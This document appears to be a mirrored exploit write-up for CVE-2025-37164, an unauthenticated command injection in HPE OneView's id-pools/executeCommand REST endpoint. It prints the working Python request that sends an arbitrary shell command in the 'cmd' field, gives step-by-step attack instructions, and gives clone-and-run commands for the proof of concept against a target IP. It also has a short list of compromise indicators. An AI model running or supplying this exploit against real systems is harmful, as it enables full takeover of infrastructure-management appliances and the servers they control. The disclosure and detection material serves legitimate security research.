HPE OneView `id-pools/executeCommand` OS Command Injection (CVE-2025-37164)

Metadata

Affected Target

Summary

HPE OneView exposes a REST endpoint, /rest/id-pools/executeCommand, that accepts a JSON body containing a cmd field and executes it as an OS command on the appliance. The root cause is that the endpoint passes attacker-supplied input from the cmd field directly to a command execution routine without sanitization or an allow-list, and the PoC demonstrates this requires no authentication headers to reach. The included script sends a single crafted PUT request with cmd set to an arbitrary shell command and prints the raw HTTP response, giving an attacker with network access to the management interface full arbitrary command execution on the OneView host. Given the CVSS 10.0 rating, this is a critical, network-reachable, unauthenticated pre-auth RCE against a privileged infrastructure-management appliance.

Vulnerability Details

Root Cause

The /rest/id-pools/executeCommand REST endpoint accepts a JSON payload of the form {"cmd": "<value>", "result": false} and forwards the cmd value to be executed as an OS-level command on the OneView appliance, with no input validation, sanitization, or command allow-listing observed. This is a classic OS command injection (CWE-78) where user-controlled input reaches a command execution sink.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

url = f"http://{args.IP}/rest/id-pools/executeCommand"

headers = {
    "accept-language": "en_US",
    "X-API-Version": "7200",
    "Content-Type": "application/json",
}

payload = {
    "cmd": args.command,
    "result": False
}

response = requests.put(url, headers=headers, json=payload, timeout=10)

Attack Vector

1. Attacker identifies a reachable HPE OneView management REST API (typically over HTTPS/HTTP on the appliance’s management network).
2. Attacker sends an HTTP PUT request to /rest/id-pools/executeCommand with header X-API-Version: 7200 and a JSON body {"cmd": "<arbitrary OS command>", "result": false}.
3. The appliance executes the supplied command string on the underlying host OS and returns the result/status in the HTTP response.
4. No authentication token, session cookie, or prior login step is present in the PoC’s request, so the attack works with only network reachability to the API.

Impact

An attacker capable of reaching the OneView REST API can execute arbitrary OS commands with the privileges of the OneView service process — leading to full compromise of the management appliance, and from there potential pivoting into every server, enclosure, and network device that OneView manages (firmware, iLO credentials, VLANs, storage, etc.).

Environment / Lab Setup

Target:   HPE OneView appliance exposing the REST management API (verify affected version against HPE's advisory / NVD before testing)
Attacker: Python 3 + `pip install requests`

Proof of Concept

PoC Script

See CVE-2025-37164.py in this folder.

1
2
3
4
5

git clone https://github.com/LACHHAB-Anas/Exploit_CVE-2025-37164.git
cd Exploit_CVE-2025-37164
pip install requests

python3 CVE-2025-37164.py <TARGET_IP> "<command>"

Example: python3 CVE-2025-37164.py TARGET_IP "id" sends the crafted PUT request and prints the HTTP status code and response body, which contains the output/result of the injected command.

Detection & Indicators of Compromise

Signs of compromise:

• Unexpected OS processes spawned by the OneView appliance service account
• Outbound connections from the OneView host to unfamiliar IPs shortly after executeCommand requests
• New user accounts, cron entries, or SSH keys added on the OneView appliance
• Anomalous entries in OneView’s own audit/activity log around id-pools/executeCommand calls

Remediation

References

• Source repository
• NVD - CVE-2025-37164
• AttackerKB analysis

Notes

Mirrored from https://github.com/LACHHAB-Anas/Exploit_CVE-2025-37164 on 2026-07-06. Short (45-line) but functional script; it sends a single crafted PUT request to id-pools/executeCommand and does not include any authentication step, consistent with an unauthenticated/pre-auth exploitation path.